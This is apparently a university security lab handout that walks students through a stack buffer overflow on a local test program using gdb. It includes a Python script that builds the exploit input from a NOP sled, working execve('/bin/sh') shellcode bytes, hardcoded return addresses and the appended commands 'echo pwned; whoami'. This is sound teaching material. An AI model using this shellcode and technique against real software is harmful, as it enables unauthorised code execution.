L19: Buffer exploits lab II

This is the 2nd part of the buffer exploits lab. Refer to the slides from L18.

Specifically, we will begin using gdb to inspect how programs execute, and how to view their memory and stack during program execution.

  1. Lets use gdb to set breakpoints, disassemble code, run a program on input, inspect the stack pointer, the instruction pointer, and the stack data structure. Here is a screencast of the basic steps:

  2. Lets create a basic python program that produces an input file for our p1 program. This program will later help us generate an exploit input.

    #!/usr/bin/env python3
    from struct import *
    
    buf = b'A'*16
    buf += b'B'*16
    
    f = open("in.txt", "wb")
    f.write(buf)
  3. Lets run our program on this input using gdb. The goal of this step is to determine how to change our in.py program so that we can overwrite the return address. Note, the input used in the screen capture is slightly different from the input generated by the program listed above.

  4. Lets look at how to write shellcode. We will start with the basic_shell.c program to learn how to open a shell.

    #include<unistd.h>
    
    void main() {
    
            char* s[] = {"/bin/sh",0};
            execv(s[0],s);
    }

    However, this shell code has a few problems that make it harder to use for exploits. You can compile to an object file to inspect the assembly as follows:

    $ gcc -c basic_shell.c
    $ objdump -d bash_shell.o

  1. Lets debug a more sophisticated shellcode that comes from pros. You can compile this shellcode and then use gdb to step through it to see how it works.

  1. Lets place the shellcode in the input file. Modify the in.py program to write the \x90 byte a few times (this is the NOP sled since 90 corresponsd to the NOP instruction), and then writes the shellcode, and then writes the address of the buf pointer as the return address from the function. Thus, when the function broken returns, it should start executing our shell code.

    #!/usr/bin/env python3
    from struct import *
    
    buf = b'\x90'*16
    buf += b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
    buf += b'A'*35
    buf += b'B'*16
    buf += b'\x60\xe4\xff\xff\xff\x7f\x00\x00'
    # address to jump to
    buf += b'\xb0\xe4\xff\xff\xff\x7f\x00\x00'
    # these are two commands to run
    buf += b'echo "pwned"; whoami '
    
    
    f = open("in2.txt", "wb")
    f.write(buf)

Notice that we added the commands echo "pwned"; whoami to the end of the buffer. As a result, when the shell sh begins, it will read from the same stdin buffer and execute these commands.

  1. Notice that gdb p1 and p1 create slightly different outputs. This is because a program also has an “environment” available to it when it is running. This env is setup by the shell. You can inspect it with export. We would like to begin the two programs using the same environments. We can do this using the env - command as shown below:

Note that in the above example, the address of buf is the same 0x7fffffffece0 from both p1 and gdb p1. This technique can help you when you are creating a new buffer exploit.

  1. Alltogether, we can now execute a buffer overflow attack on the p1 program. Note that the p1 program uses read to read its input. In other cases, the input could be read using fgets or strcpy from the command line argument. The attack may be slightly different in those cases.